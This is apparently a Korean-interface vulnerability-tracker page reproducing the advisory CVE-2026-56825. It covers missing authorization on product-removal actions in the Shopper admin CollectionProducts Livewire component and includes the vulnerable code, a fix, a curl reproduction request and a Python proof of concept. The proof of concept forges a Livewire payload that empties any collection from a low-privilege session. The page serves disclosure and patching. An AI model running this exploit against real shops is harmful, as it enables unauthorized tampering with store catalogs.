Kestrel
대시보드로 돌아가기
CVE-2026-56825HIGH· 8.1GHSA대응게시일: 2026. 09. 11.수정일: 2026. 09. 11.

Shopper: Missing authorization on product removal actions in CollectionProducts component

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
8.1high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.18.1HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

상세 설명

Title

Missing authorization on product removal actions in CollectionProducts component

Description

A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside packages/admin/src/Livewire/Components/Collection/CollectionProducts.php. Neither the Action::make('delete') at line 73 nor the DeleteBulkAction::make() at line 91 carries an ->authorize(...) chain. The component also exposes public Collection $collection without #[Locked], so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only browse_collections, can detach individual products or bulk-detach all products from any collection in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

  • packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105
bash
1// Line 40 - client-mutable, no #[Locked]
2public Collection $collection;
3
4// Lines 73-88 - per-record delete action, no ->authorize(...)
5->recordActions([
6 Action::make('delete')
7 ->label(__('shopper::forms.actions.delete'))
8 ->icon(Untitledui::Trash03)
9 ->iconButton()
10 ->color('danger')
11 ->requiresConfirmation()
12 ->action(function (Product $record): void {
13 $this->collection->products()->detach([$record->id]);
14 $this->dispatch('collection.add.product');
15 Notification::make()
16 ->title(__('shopper::pages/collections.remove_product'))
17 ->success()
18 ->send();
19 }),
20])
21
22// Lines 91-105 - bulk remove action, no ->authorize(...)
23->groupedBulkActions([
24 DeleteBulkAction::make()
25 ->label(__('shopper::forms.actions.delete'))
26 ->icon(Untitledui::Trash03)
27 ->requiresConfirmation()
28 ->action(function (EloquentCollection $records): void {
29 $this->collection->products()->detach($records->pluck('id')->toArray());
30 $this->dispatch('collection.add.product');
31 Notification::make()
32 ->title(__('shopper::pages/collections.remove_product'))
33 ->success()
34 ->send();
35 })
36 ->deselectRecordsAfterCompletion(),
37])

Steps to reproduce

Prerequisites: any admin-panel account, including one whose role holds only browse_collections (no edit_collections required).

bash
1SESSION="laravel_session=<your_session_value>"
2XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"
3
4# Step 1: Note the collection ID you wish to empty (e.g., collection_id=5).
5# Step 2: Call the bulk table action on the CollectionProducts component,
6# substituting collection ID 5 in the component state.
7
8curl -s -X POST http://localhost/shopper/livewire/update \
9 -H "Content-Type: application/json" \
10 -H "X-XSRF-TOKEN: $XSRF" \
11 -H "Cookie: $SESSION" \
12 -H "X-Livewire: 1" \
13 -d '{
14 "components": [{
15 "snapshot": "{\"id\":\"COLLECTION_PRODUCTS_COMPONENT_ID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}",
16 "updates": {},
17 "calls": [{
18 "path": "",
19 "method": "callBulkAction",
20 "params": ["delete", [1, 2, 3, 4, 5]]
21 }]
22 }]
23 }'
24# Expected: HTTP 200, all listed product IDs detached from collection 5,
25# regardless of the caller having only browse_collections.

Proof of concept

sql
1#!/usr/bin/env python3
2"""
3CollectionProducts authorization bypass PoC.
4
5Set these environment variables before running:
6 BASE_URL e.g. http://localhost
7 SESSION_COOKIE value of the laravel_session cookie
8 XSRF_TOKEN URL-decoded value of the XSRF-TOKEN cookie
9 COMPONENT_ID Livewire component snapshot ID (from page source)
10 COLLECTION_ID integer ID of the target collection
11 PRODUCT_IDS comma-separated product IDs to detach (e.g. "1,2,3")
12"""
13
14import json
15import os
16import requests
17
18base_url = os.environ['BASE_URL']
19session = os.environ['SESSION_COOKIE']
20xsrf = os.environ['XSRF_TOKEN']
21component_id = os.environ['COMPONENT_ID']
22collection_id = int(os.environ['COLLECTION_ID'])
23product_ids = [int(x) for x in os.environ['PRODUCT_IDS'].split(',')]
24
25headers = {
26 'Content-Type': 'application/json',
27 'Accept': 'text/html, application/xhtml+xml',
28 'X-XSRF-TOKEN': xsrf,
29 'Cookie': f'laravel_session={session}',
30 'X-Livewire': '1',
31}
32
33snapshot = json.dumps({
34 'id': component_id,
35 'data': {'collection': collection_id},
36 'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
37})
38
39payload = {
40 'components': [{
41 'snapshot': snapshot,
42 'updates': {},
43 'calls': [{
44 'path': '',
45 'method': 'callBulkAction',
46 'params': ['delete', product_ids],
47 }]
48 }]
49}
50
51r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
52print(f'Status: {r.status_code}')
53print(r.text[:500])

Impact

A staff member holding only browse_collections can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because $collection is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.

Suggested fix

bash
1// packages/admin/src/Livewire/Components/Collection/CollectionProducts.php
2
3use Livewire\Attributes\Locked;
4
5#[Locked] // prevent client-side ID substitution
6public Collection $collection;
7
8// Per-record action:
9Action::make('delete')
10 ->authorize('edit_collections') // add this
11 ->action(function (Product $record): void {
12 $this->collection->products()->detach([$record->id]);
13 // ...
14 }),
15
16// Bulk action:
17DeleteBulkAction::make()
18 ->authorize('edit_collections') // add this
19 ->action(function (EloquentCollection $records): void {
20 $this->collection->products()->detach($records->pluck('id')->toArray());
21 // ...
22 })

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.